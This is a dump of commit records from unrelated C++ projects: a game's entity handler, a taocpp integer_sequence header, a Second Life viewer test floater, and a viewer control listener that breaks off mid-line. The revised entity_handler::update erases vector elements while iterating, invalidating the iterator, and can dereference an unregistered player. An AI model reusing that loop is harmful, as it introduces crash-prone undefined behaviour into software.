m_player{nullptr};\n\t\tstd::vector<entity_base_ptr> m_entities;\n\t\tstd::size_t m_max_entities;\n\t\tstd::size_t m_current_id{0};\n\n\t\tstatic constexpr float m_despawn_zone{0.f};\n\n\tpublic:\n\t\tusing iterator = std::vector<entity_base_ptr>::iterator;\n\t\tusing const_iterator = std::vector<entity_base_ptr>::const_iterator;\n\n\t\tentity_handler(rndr& r, particle_manager<game_handler>& pm,\n\t\t\t\t\t std::size_t max_entities = 100000)\n\t\t\t: m_render{r}, m_particlemgr{pm}, m_max_entities{max_entities}\n\t\t{\n\t\t}\n\n\t\tvoid set_gamehandler(game_handler* gh) { m_gamehandler = gh; }\n\n\t\tbool create_entity(const entity_base_ptr& e) noexcept\n\t\t{\n\t\t\tif(!this->is_entity_valid(e)) return false;\n\n\t\t\tthis->create_entity_impl(e);\/\/ add\/create entity in handler\n\t\t\treturn true;\n\t\t}\n\n\t\tbool create_entity(const player_ptr& p) noexcept\n\t\t{\n\t\t\tif(!this->is_entity_valid(p) || this->is_player_registered())\n\t\t\t\treturn false;\n\n\t\t\tthis->create_entity_impl(p);\n\t\t\treturn true;\n\t\t}\n\n\t\tvoid update(dur duration)\n\t\t{\n\t\t\t\/\/ update player\n\t\t\tif(this->is_player_registered()) m_player->update(duration);\n\n\t\t\t\/\/ update other\n\t\t\tfor(auto& a : m_entities) {\n\t\t\t\ta->update(duration);\n\t\t\t\tif(a->right_out() <= m_despawn_zone) a->destroy();\n\t\t\t}\n\n\t\t\tthis->check_collision();\n\n\t\t\t\/\/ erase flagged entities\n\t\t\tthis->erase_destroyed();\n\t\t}\n\n\t\tvoid render()\n\t\t{\n\t\t\t\/\/ render player\n\t\t\tif(this->is_player_registered()) m_player->render();\n\n\t\t\t\/\/ render other\n\t\t\tfor(auto& a : m_entities) a->render();\n\t\t}\n\n\t\tvoid clear() noexcept { m_entities.clear(); }\n\n\t\t\/\/ deleting ents on next update\n\t\tvoid delete_entities(std::vector<iterator>& iters)\n\t\t{\n\t\t\tfor(auto& a : iters) (*a)->destroy();\n\t\t}\n\n\t\tauto get_entities_at(const vec2f& at,\n\t\t\t\t\t\t\t const vec2f& size = {1.f, 1.f}) noexcept\n\t\t{\n\t\t\tstd::vector<iterator> result;\n\t\t\tsf::FloatRect at_bounds{at, size};\n\t\t\tfor(auto iter{std::begin(m_entities)}; iter != std::end(m_entities);\n\t\t\t\t++iter)\n\t\t\t{\n\t\t\t\tsf::FloatRect ent_bounds{\n\t\t\t\t\t{(*iter)->left_out(), (*iter)->top_out()}, (*iter)->size()};\n\t\t\t\tif(ent_bounds.intersects(at_bounds)) result.emplace_back(iter);\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\n\t\tbool exists_entity_at(const vec2f& at,\n\t\t\t\t\t\t\t const vec2f& size = {1.f, 1.f}) noexcept\n\t\t{\n\t\t\treturn !this->get_entities_at(at, size).empty();\n\t\t}\n\n\t\titerator begin() { return std::begin(m_entities); }\n\n\t\titerator end() { return std::end(m_entities); }\n\n\t\tstd::size_t num_entities() const noexcept\n\t\t{\n\t\t\treturn m_entities.size() + this->is_player_registered();\n\t\t}\n\n\t\tauto& player() noexcept { return m_player; }\n\n\t\tbool is_player_registered() const noexcept\n\t\t{\n\t\t\treturn m_player != nullptr;\n\t\t}\n\n\t\tvoid set_outlines_dbg(bool on)\n\t\t{\n\t\t\tfor(auto& e : m_entities) {\n\t\t\t\tif(e->figure() == entity_figure::f_rectangle) {\n\t\t\t\t\tauto ptr{std::static_pointer_cast<platform>(e)};\n\t\t\t\t\tptr->activate_outlines(on);\n\t\t\t\t}\n\t\t\t\telse if(e->figure() == entity_figure::f_triangle)\n\t\t\t\t{\n\t\t\t\t\tauto ptr{std::static_pointer_cast<triangle>(e)};\n\t\t\t\t\tptr->activate_outlines(on);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tprivate:\n\t\tvoid on_player_death();\n\n\t\tvoid try_player_death()\n\t\t{\n\t\t\tif(!m_player->is_alive()) return;\n\n\t\t\t\/\/ player should die here\n\t\t\t\/\/ do effects, game stats etc....\n\t\t\tm_player->render_object().setFillColor({255, 0, 0});\n\t\t\tm_particlemgr.create_particles(10000, m_player->pos(), 3000, true);\n\n\t\t\t\/\/ on kill\n\t\t\tm_player->on_kill();\n\t\t\tthis->on_player_death();\n\t\t}\n\n\t\tvoid check_collision() noexcept\n\t\t{\n\t\t\tif(!this->is_player_registered()) return;\n\n\t\t\tbool collided{false};\n\n\t\t\tfor(auto& a : m_entities) {\n\t\t\t\tif(is_colliding(*m_player, *a)) {\n\t\t\t\t\tcollided = true;\n\n\t\t\t\t\tif(m_player->bottom_out() - 2 <= a->top_out()) {\n\t\t\t\t\t\tm_player->on_collision(a->top_out());\n\t\t\t\t\t\tm_player->render_object().setFillColor({0, 255, 0});\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tthis->try_player_death();\n\t\t\t\t\t}\n\n\t\t\t\t\tif(a->has_propertie(entity_propertie::death)) {\n\t\t\t\t\t\t\/\/ player touched death entity\n\t\t\t\t\t\tthis->try_player_death();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!collided) m_player->on_collision_end();\n\t\t}\n\n\t\t\/\/ checking the entities\n\t\tbool is_entity_valid(const entity_base_ptr& e) const noexcept\n\t\t{\n\t\t\tif(m_entities.size() >= m_max_entities) {\n\t\t\t\tmlk::lout(\"rj::entity_handler\")\n\t\t\t\t\t<< \"max_entities limit is reached,\"\n\t\t\t\t\t \"can't add more entities\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif(e->is_registered()) {\n\t\t\t\tmlk::lout(\"rj::entity_handler\")\n\t\t\t\t\t<< \"entity with id '\" << e->m_id\n\t\t\t\t\t<< \"' exists already in entity handler, ignoring\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\n\t\t\/\/ create the entities\n\t\tvoid create_entity_impl(const entity_base_ptr& e) noexcept\n\t\t{\n\t\t\tthis->register_impl(e);\n\t\t\tm_entities.push_back(e);\n\t\t}\n\n\t\tvoid create_entity_impl(const player_ptr& p) noexcept\n\t\t{\n\t\t\tthis->register_impl(p);\n\t\t\tm_player = p;\n\t\t}\n\n\t\tvoid register_impl(const entity_base_ptr& e) noexcept\n\t\t{\n\t\t\t\/\/ important: set game and init\n\t\t\te->handler_register(&m_render, m_current_id);\n\t\t\te->init();\n\t\t\t++m_current_id;\n\t\t}\n\n\t\tvoid erase_destroyed() noexcept\n\t\t{\n\t\t\tmlk::cnt::remove_all_if(\n\t\t\t\t[](const auto& entity) { return entity->m_destroyed; },\n\t\t\t\tm_entities);\n\t\t}\n\t};\n}\n\n#endif\/\/ RJ_GAME_ENTITY_HANDLER_HPP\n<commit_msg>entity_handler::update: using one loop instead of 3<commit_after>\/\/\n\/\/ Copyright (c) 2013-2017 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef RJ_GAME_ENTITY_HANDLER_HPP\n#define RJ_GAME_ENTITY_HANDLER_HPP\n\n#include \"collision.hpp\"\n#include \"components\/player.hpp\"\n#include \"entity.hpp\"\n#include \"particle_manager.hpp\"\n\n#include <mlk\/containers\/container_utl.h>\n#include <mlk\/log\/log.h>\n#include <mlk\/types\/types.h>\n\n#include <vector>\n\nnamespace rj\n{\n\ttemplate <typename T>\n\tusing entity_ptr = mlk::sptr<T>;\n\tusing entity_base_ptr = entity_ptr<entity_base>;\n\tusing player_ptr = entity_ptr<player>;\n\n\tclass entity_handler\n\t{\n\t\trndr& m_render;\n\t\tparticle_manager<game_handler>& m_particlemgr;\n\t\tgame_handler* m_gamehandler{nullptr};\n\n\t\tplayer_ptr m_player{nullptr};\n\t\tstd::vector<entity_base_ptr> m_entities;\n\t\tstd::size_t m_max_entities;\n\t\tstd::size_t m_current_id{0};\n\n\t\tstatic constexpr float m_despawn_zone{0.f};\n\n\tpublic:\n\t\tusing iterator = std::vector<entity_base_ptr>::iterator;\n\t\tusing const_iterator = std::vector<entity_base_ptr>::const_iterator;\n\n\t\tentity_handler(rndr& r, particle_manager<game_handler>& pm,\n\t\t\t\t\t std::size_t max_entities = 100000)\n\t\t\t: m_render{r}, m_particlemgr{pm}, m_max_entities{max_entities}\n\t\t{\n\t\t}\n\n\t\tvoid set_gamehandler(game_handler* gh) { m_gamehandler = gh; }\n\n\t\tbool create_entity(const entity_base_ptr& e) noexcept\n\t\t{\n\t\t\tif(!this->is_entity_valid(e)) return false;\n\n\t\t\tthis->create_entity_impl(e);\/\/ add\/create entity in handler\n\t\t\treturn true;\n\t\t}\n\n\t\tbool create_entity(const player_ptr& p) noexcept\n\t\t{\n\t\t\tif(!this->is_entity_valid(p) || this->is_player_registered())\n\t\t\t\treturn false;\n\n\t\t\tthis->create_entity_impl(p);\n\t\t\treturn true;\n\t\t}\n\n\t\tvoid update(dur duration)\n\t\t{\n\t\t\t\/\/ update player\n\t\t\tif(this->is_player_registered()) m_player->update(duration);\n\n\t\t\t\/\/ update other\n\t\t\tbool collided{false};\n\t\t\tfor(auto iter{m_entities.begin()}; iter < m_entities.end(); ++iter)\n\t\t\t{\n\t\t\t\tauto a{*iter};\n\t\t\t\ta->update(duration);\n\n\t\t\t\t\/\/ check collision\n\t\t\t\tif(this->is_player_registered()) {\n\t\t\t\t\tif(is_colliding(*m_player, *a)) {\n\t\t\t\t\t\tcollided = true;\n\n\t\t\t\t\t\tif(m_player->bottom_out() - 2 <= a->top_out()) {\n\t\t\t\t\t\t\tm_player->on_collision(a->top_out());\n\t\t\t\t\t\t\tm_player->render_object().setFillColor({0, 255, 0});\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tthis->try_player_death();\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(a->has_propertie(entity_propertie::death)) {\n\t\t\t\t\t\t\t\/\/ player touched death entity\n\t\t\t\t\t\t\tthis->try_player_death();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(a->right_out() <= m_despawn_zone) {\n\t\t\t\t\ta->destroy();\n\t\t\t\t\tm_entities.erase(iter);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!collided) m_player->on_collision_end();\n\t\t}\n\n\t\tvoid render()\n\t\t{\n\t\t\t\/\/ render player\n\t\t\tif(this->is_player_registered()) m_player->render();\n\n\t\t\t\/\/ render other\n\t\t\tfor(auto& a : m_entities) a->render();\n\t\t}\n\n\t\tvoid clear() noexcept { m_entities.clear(); }\n\n\t\t\/\/ deleting ents on next update\n\t\tvoid delete_entities(std::vector<iterator>& iters)\n\t\t{\n\t\t\tfor(auto& a : iters) (*a)->destroy();\n\t\t}\n\n\t\tauto get_entities_at(const vec2f& at,\n\t\t\t\t\t\t\t const vec2f& size = {1.f, 1.f}) noexcept\n\t\t{\n\t\t\tstd::vector<iterator> result;\n\t\t\tsf::FloatRect at_bounds{at, size};\n\t\t\tfor(auto iter{std::begin(m_entities)}; iter != std::end(m_entities);\n\t\t\t\t++iter)\n\t\t\t{\n\t\t\t\tsf::FloatRect ent_bounds{\n\t\t\t\t\t{(*iter)->left_out(), (*iter)->top_out()}, (*iter)->size()};\n\t\t\t\tif(ent_bounds.intersects(at_bounds)) result.emplace_back(iter);\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\n\t\tbool exists_entity_at(const vec2f& at,\n\t\t\t\t\t\t\t const vec2f& size = {1.f, 1.f}) noexcept\n\t\t{\n\t\t\treturn !this->get_entities_at(at, size).empty();\n\t\t}\n\n\t\titerator begin() { return std::begin(m_entities); }\n\n\t\titerator end() { return std::end(m_entities); }\n\n\t\tstd::size_t num_entities() const noexcept\n\t\t{\n\t\t\treturn m_entities.size() + this->is_player_registered();\n\t\t}\n\n\t\tauto& player() noexcept { return m_player; }\n\n\t\tbool is_player_registered() const noexcept\n\t\t{\n\t\t\treturn m_player != nullptr;\n\t\t}\n\n\t\tvoid set_outlines_dbg(bool on)\n\t\t{\n\t\t\tfor(auto& e : m_entities) {\n\t\t\t\tif(e->figure() == entity_figure::f_rectangle) {\n\t\t\t\t\tauto ptr{std::static_pointer_cast<platform>(e)};\n\t\t\t\t\tptr->activate_outlines(on);\n\t\t\t\t}\n\t\t\t\telse if(e->figure() == entity_figure::f_triangle)\n\t\t\t\t{\n\t\t\t\t\tauto ptr{std::static_pointer_cast<triangle>(e)};\n\t\t\t\t\tptr->activate_outlines(on);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tprivate:\n\t\tvoid on_player_death();\n\n\t\tvoid try_player_death()\n\t\t{\n\t\t\tif(!m_player->is_alive()) return;\n\n\t\t\t\/\/ player should die here\n\t\t\t\/\/ do effects, game stats etc....\n\t\t\tm_player->render_object().setFillColor({255, 0, 0});\n\t\t\tm_particlemgr.create_particles(10000, m_player->pos(), 3000, true);\n\n\t\t\t\/\/ on kill\n\t\t\tm_player->on_kill();\n\t\t\tthis->on_player_death();\n\t\t}\n\n\t\t\/\/ checking the entities\n\t\tbool is_entity_valid(const entity_base_ptr& e) const noexcept\n\t\t{\n\t\t\tif(m_entities.size() >= m_max_entities) {\n\t\t\t\tmlk::lout(\"rj::entity_handler\")\n\t\t\t\t\t<< \"max_entities limit is reached,\"\n\t\t\t\t\t \"can't add more entities\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif(e->is_registered()) {\n\t\t\t\tmlk::lout(\"rj::entity_handler\")\n\t\t\t\t\t<< \"entity with id '\" << e->m_id\n\t\t\t\t\t<< \"' exists already in entity handler, ignoring\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\n\t\t\/\/ create the entities\n\t\tvoid create_entity_impl(const entity_base_ptr& e) noexcept\n\t\t{\n\t\t\tthis->register_impl(e);\n\t\t\tm_entities.push_back(e);\n\t\t}\n\n\t\tvoid create_entity_impl(const player_ptr& p) noexcept\n\t\t{\n\t\t\tthis->register_impl(p);\n\t\t\tm_player = p;\n\t\t}\n\n\t\tvoid register_impl(const entity_base_ptr& e) noexcept\n\t\t{\n\t\t\t\/\/ important: set game and init\n\t\t\te->handler_register(&m_render, m_current_id);\n\t\t\te->init();\n\t\t\t++m_current_id;\n\t\t}\n\n\t\tvoid erase_destroyed() noexcept\n\t\t{\n\t\t\tmlk::cnt::remove_all_if(\n\t\t\t\t[](const auto& entity) { return entity->m_destroyed; },\n\t\t\t\tm_entities);\n\t\t}\n\t};\n}\n\n#endif\/\/ RJ_GAME_ENTITY_HANDLER_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ The Art of C++ \/ Sequences\n\/\/ Copyright (c) 2015 Daniel Frey\n\n#ifndef TAOCPP_SEQUENCES_INCLUDE_MAKE_INTEGER_SEQUENCE_HPP\n#define TAOCPP_SEQUENCES_INCLUDE_MAKE_INTEGER_SEQUENCE_HPP\n\n#include <cstddef>\n#include <utility>\n#include <type_traits>\n\n#include \"integer_sequence.hpp\"\n\nnamespace tao\n{\n namespace seq\n {\n\n#ifdef _LIBCXX_VERSION\n\n \/\/ libc++ already has very efficient versions for make_*\n\n using std::make_integer_sequence;\n using std::make_index_sequence;\n using std::index_sequence_for;\n\n#else\n\n \/\/ idea from http:\/\/stackoverflow.com\/a\/13073076\n\n namespace impl\n {\n template< typename S, bool, std::size_t = S::size() >\n struct double_up;\n\n template< typename T, T... Ns, std::size_t N >\n struct double_up< integer_sequence< T, Ns... >, false, N >\n {\n using type = integer_sequence< T, Ns..., ( N + Ns )... >;\n };\n\n template< typename T, T... Ns, std::size_t N >\n struct double_up< integer_sequence< T, Ns... >, true, N >\n {\n using type = integer_sequence< T, Ns..., ( N + Ns )..., 2 * N >;\n };\n\n template< typename T, T N, typename = void >\n struct generate;\n\n template< typename T, T N >\n using generate_t = typename generate< T, N >::type;\n\n template< typename T, T N >\n struct generate< T, N, typename std::enable_if< ( N > 1 ) >::type >\n : double_up< generate_t< T, N \/ 2 >, N % 2 == 1 >\n {};\n\n template< typename T, T N >\n struct generate< T, N, typename std::enable_if< ( N == 0 ) >::type >\n {\n using type = integer_sequence< T >;\n };\n\n template< typename T, T N >\n struct generate< T, N, typename std::enable_if< ( N == 1 ) >::type >\n {\n using type = integer_sequence< T, 0 >;\n };\n }\n\n template< typename T, T N >\n using make_integer_sequence = impl::generate_t< T, N >;\n\n template< std::size_t N >\n using make_index_sequence = make_integer_sequence< std::size_t, N >;\n\n template< typename... Ts >\n using index_sequence_for = make_index_sequence< sizeof...( Ts ) >;\n\n#endif\n\n }\n}\n\n#endif \/\/ TAOCPP_SEQUENCES_INCLUDE_MAKE_INTEGER_SEQUENCE_HPP\n<commit_msg>Fix detection of libc++<commit_after>\/\/ The Art of C++ \/ Sequences\n\/\/ Copyright (c) 2015 Daniel Frey\n\n#ifndef TAOCPP_SEQUENCES_INCLUDE_MAKE_INTEGER_SEQUENCE_HPP\n#define TAOCPP_SEQUENCES_INCLUDE_MAKE_INTEGER_SEQUENCE_HPP\n\n#include <cstddef>\n#include <utility>\n#include <type_traits>\n\n#include \"integer_sequence.hpp\"\n\nnamespace tao\n{\n namespace seq\n {\n\n#ifdef _LIBCPP_VERSION\n\n \/\/ libc++ already has very efficient versions for make_*\n\n using std::make_integer_sequence;\n using std::make_index_sequence;\n using std::index_sequence_for;\n\n#else\n\n \/\/ idea from http:\/\/stackoverflow.com\/a\/13073076\n\n namespace impl\n {\n template< typename S, bool, std::size_t = S::size() >\n struct double_up;\n\n template< typename T, T... Ns, std::size_t N >\n struct double_up< integer_sequence< T, Ns... >, false, N >\n {\n using type = integer_sequence< T, Ns..., ( N + Ns )... >;\n };\n\n template< typename T, T... Ns, std::size_t N >\n struct double_up< integer_sequence< T, Ns... >, true, N >\n {\n using type = integer_sequence< T, Ns..., ( N + Ns )..., 2 * N >;\n };\n\n template< typename T, T N, typename = void >\n struct generate;\n\n template< typename T, T N >\n using generate_t = typename generate< T, N >::type;\n\n template< typename T, T N >\n struct generate< T, N, typename std::enable_if< ( N > 1 ) >::type >\n : double_up< generate_t< T, N \/ 2 >, N % 2 == 1 >\n {};\n\n template< typename T, T N >\n struct generate< T, N, typename std::enable_if< ( N == 0 ) >::type >\n {\n using type = integer_sequence< T >;\n };\n\n template< typename T, T N >\n struct generate< T, N, typename std::enable_if< ( N == 1 ) >::type >\n {\n using type = integer_sequence< T, 0 >;\n };\n }\n\n template< typename T, T N >\n using make_integer_sequence = impl::generate_t< T, N >;\n\n template< std::size_t N >\n using make_index_sequence = make_integer_sequence< std::size_t, N >;\n\n template< typename... Ts >\n using index_sequence_for = make_index_sequence< sizeof...( Ts ) >;\n\n#endif\n\n }\n}\n\n#endif \/\/ TAOCPP_SEQUENCES_INCLUDE_MAKE_INTEGER_SEQUENCE_HPP\n<|endoftext|>"} {"text":"<commit_before>\/** \n* @file llfloatertestinspectors.cpp\n*\n* $LicenseInfo:firstyear=2009&license=viewergpl$\n* \n* Copyright (c) 2009, Linden Research, Inc.\n* \n* Second Life Viewer Source Code\n* The source code in this file (\"Source Code\") is provided by Linden Lab\n* to you under the terms of the GNU General Public License, version 2.0\n* (\"GPL\"), unless you have obtained a separate licensing agreement\n* (\"Other License\"), formally executed by you and Linden Lab. Terms of\n* the GPL can be found in doc\/GPL-license.txt in this distribution, or\n* online at http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/gplv2\n* \n* There are special exceptions to the terms and conditions of the GPL as\n* it is applied to this Source Code. View the full text of the exception\n* in the file doc\/FLOSS-exception.txt in this software distribution, or\n* online at\n* http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/flossexception\n* \n* By copying, modifying or distributing this software, you acknowledge\n* that you have read and understood your obligations described above,\n* and agree to abide by those obligations.\n* \n* ALL LINDEN LAB SOURCE CODE IS PROVIDED \"AS IS.\" LINDEN LAB MAKES NO\n* WARRANTIES, EXPRESS, IMPLIED OR OTHERWISE, REGARDING ITS ACCURACY,\n* COMPLETENESS OR PERFORMANCE.\n* $\/LicenseInfo$\n*\/\n#include \"llviewerprecompiledheaders.h\"\n\n#include \"llfloatertestinspectors.h\"\n\n\/\/ Viewer includes\n#include \"llstartup.h\"\n\n\/\/ Linden library includes\n#include \"llfloaterreg.h\"\n\/\/#include \"lluictrlfactory.h\"\n\nLLFloaterTestInspectors::LLFloaterTestInspectors(const LLSD& seed)\n:\tLLFloater(seed)\n{\n\tmCommitCallbackRegistrar.add(\"ShowAvatarInspector\",\n\t\tboost::bind(&LLFloaterTestInspectors::showAvatarInspector, this, _1, _2));\n\tmCommitCallbackRegistrar.add(\"ShowObjectInspector\",\n\t\tboost::bind(&LLFloaterTestInspectors::showObjectInspector, this, _1, _2));\n}\n\nLLFloaterTestInspectors::~LLFloaterTestInspectors()\n{}\n\nBOOL LLFloaterTestInspectors::postBuild()\n{\n\/\/\tgetChild<LLUICtrl>(\"avatar_2d_btn\")->setCommitCallback(\n\/\/\t\tboost::bind(&LLFloaterTestInspectors::onClickAvatar2D, this));\n\tgetChild<LLUICtrl>(\"avatar_3d_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickAvatar3D, this));\n\tgetChild<LLUICtrl>(\"object_2d_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickObject2D, this));\n\tgetChild<LLUICtrl>(\"object_3d_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickObject3D, this));\n\tgetChild<LLUICtrl>(\"group_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickGroup, this));\n\tgetChild<LLUICtrl>(\"place_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickPlace, this));\n\tgetChild<LLUICtrl>(\"event_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickEvent, this));\n\n\treturn LLFloater::postBuild();\n}\n\nvoid LLFloaterTestInspectors::showAvatarInspector(LLUICtrl*, const LLSD& avatar_id)\n{\n\tLLUUID id; \/\/ defaults to null\n\tif (LLStartUp::getStartupState() >= STATE_STARTED)\n\t{\n\t\tid = avatar_id.asUUID();\n\t}\n\t\/\/ spawns off mouse position automatically\n\tLLFloaterReg::showInstance(\"inspect_avatar\", LLSD().insert(\"avatar_id\", id));\n}\n\nvoid LLFloaterTestInspectors::showObjectInspector(LLUICtrl*, const LLSD& object_id)\n{\n\tLLFloaterReg::showInstance(\"inspect_object\", LLSD().insert(\"object_id\", object_id));\n}\n\nvoid LLFloaterTestInspectors::onClickAvatar2D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickAvatar3D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickObject2D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickObject3D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickGroup()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickPlace()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickEvent()\n{\n}\n<commit_msg>Test intentionally not-found LLUICtrl.<commit_after>\/** \n* @file llfloatertestinspectors.cpp\n*\n* $LicenseInfo:firstyear=2009&license=viewergpl$\n* \n* Copyright (c) 2009, Linden Research, Inc.\n* \n* Second Life Viewer Source Code\n* The source code in this file (\"Source Code\") is provided by Linden Lab\n* to you under the terms of the GNU General Public License, version 2.0\n* (\"GPL\"), unless you have obtained a separate licensing agreement\n* (\"Other License\"), formally executed by you and Linden Lab. Terms of\n* the GPL can be found in doc\/GPL-license.txt in this distribution, or\n* online at http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/gplv2\n* \n* There are special exceptions to the terms and conditions of the GPL as\n* it is applied to this Source Code. View the full text of the exception\n* in the file doc\/FLOSS-exception.txt in this software distribution, or\n* online at\n* http:\/\/secondlifegrid.net\/programs\/open_source\/licensing\/flossexception\n* \n* By copying, modifying or distributing this software, you acknowledge\n* that you have read and understood your obligations described above,\n* and agree to abide by those obligations.\n* \n* ALL LINDEN LAB SOURCE CODE IS PROVIDED \"AS IS.\" LINDEN LAB MAKES NO\n* WARRANTIES, EXPRESS, IMPLIED OR OTHERWISE, REGARDING ITS ACCURACY,\n* COMPLETENESS OR PERFORMANCE.\n* $\/LicenseInfo$\n*\/\n#include \"llviewerprecompiledheaders.h\"\n\n#include \"llfloatertestinspectors.h\"\n\n\/\/ Viewer includes\n#include \"llstartup.h\"\n\n\/\/ Linden library includes\n#include \"llfloaterreg.h\"\n\/\/#include \"lluictrlfactory.h\"\n\nLLFloaterTestInspectors::LLFloaterTestInspectors(const LLSD& seed)\n:\tLLFloater(seed)\n{\n\tmCommitCallbackRegistrar.add(\"ShowAvatarInspector\",\n\t\tboost::bind(&LLFloaterTestInspectors::showAvatarInspector, this, _1, _2));\n\tmCommitCallbackRegistrar.add(\"ShowObjectInspector\",\n\t\tboost::bind(&LLFloaterTestInspectors::showObjectInspector, this, _1, _2));\n}\n\nLLFloaterTestInspectors::~LLFloaterTestInspectors()\n{}\n\nBOOL LLFloaterTestInspectors::postBuild()\n{\n\tgetChild<LLUICtrl>(\"intentionally-not-found\");\n\n\/\/\tgetChild<LLUICtrl>(\"avatar_2d_btn\")->setCommitCallback(\n\/\/\t\tboost::bind(&LLFloaterTestInspectors::onClickAvatar2D, this));\n\tgetChild<LLUICtrl>(\"avatar_3d_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickAvatar3D, this));\n\tgetChild<LLUICtrl>(\"object_2d_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickObject2D, this));\n\tgetChild<LLUICtrl>(\"object_3d_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickObject3D, this));\n\tgetChild<LLUICtrl>(\"group_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickGroup, this));\n\tgetChild<LLUICtrl>(\"place_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickPlace, this));\n\tgetChild<LLUICtrl>(\"event_btn\")->setCommitCallback(\n\t\tboost::bind(&LLFloaterTestInspectors::onClickEvent, this));\n\n\treturn LLFloater::postBuild();\n}\n\nvoid LLFloaterTestInspectors::showAvatarInspector(LLUICtrl*, const LLSD& avatar_id)\n{\n\tLLUUID id; \/\/ defaults to null\n\tif (LLStartUp::getStartupState() >= STATE_STARTED)\n\t{\n\t\tid = avatar_id.asUUID();\n\t}\n\t\/\/ spawns off mouse position automatically\n\tLLFloaterReg::showInstance(\"inspect_avatar\", LLSD().insert(\"avatar_id\", id));\n}\n\nvoid LLFloaterTestInspectors::showObjectInspector(LLUICtrl*, const LLSD& object_id)\n{\n\tLLFloaterReg::showInstance(\"inspect_object\", LLSD().insert(\"object_id\", object_id));\n}\n\nvoid LLFloaterTestInspectors::onClickAvatar2D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickAvatar3D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickObject2D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickObject3D()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickGroup()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickPlace()\n{\n}\n\nvoid LLFloaterTestInspectors::onClickEvent()\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file llviewercontrollistener.cpp\n * @author Nat Goodspeed\n * @date 2009-06-30\n * @brief Implementation for llviewercontrollistener.\n * \n * $LicenseInfo:firstyear=2009&license=viewergpl$\n * Copyright (c) 2009, Linden Research, Inc.\n * $\/LicenseInfo$\n *\/\n\n#include \"llviewerprecompiledheaders.h\"\n\n#include \"llviewercontrollistener.h\"\n\n#include \"llviewercontrol.h\"\n\nLLViewerControlListener gSavedSettingsListener;\n\nLLViewerControlListener::LLViewerControlListener()\n\t: LLDispatchListener(\"LLViewerControl\", \"group\")\n{\n\tadd(\"Global\", boost::bind(&LLViewerControlListener::set, &gSavedSettings, _1));\n\tadd(\"Skin\", boost::bind(&LLViewerControlListener::set, &gSavedSkinSettings, _1));\n\tadd(\"PerAccount\", boost::bind(&LLViewerControlListener::set, &gSavedPerAccountSettings, _1));\n\tadd(\"Warning\", boost::bind(&LLViewerControlListener::set, &gWarningSettings, _1));\n\tadd(\"Crash\", boost::bind(&LLViewerControlListener::set, &gCrashSettings, _1));\n\n#if 0\n\tadd(\/*\"toggleControl\",*\/ \"Global\", boost::bind(&LLViewerControlListener::toggleControl, &gSavedSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"Skin\", boost::bind(&LLViewerControlListener::toggleControl, &gSavedSkinSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"PerAccount\", boost::bind(&LLViewerControlListener::toggleControl, &gSavedPerAccountSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"Warning\", boost::bind(&LLViewerControlListener::toggleControl, &gWarningSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"Crash\", boost::bind(&LLViewerControlListener::toggleControl, &gCrashSettings, _1));\n\n\tadd(\/*\"setDefault\",*\/ \"Global\", boost::bind(&LLViewerControlListener::setDefault, &gSavedSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"Skin\", boost::bind(&LLViewerControlListener::setDefault, &gSavedSkinSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"PerAccount\", boost::bind(&LLViewerControlListener::setDefault, &gSavedPerAccountSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"Warning\", boost::bind(&LLViewerControlListener::setDefault, &gWarningSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"Crash\", boost::bind(&LLViewerControlListener::setDefault, &gCrashSettings, 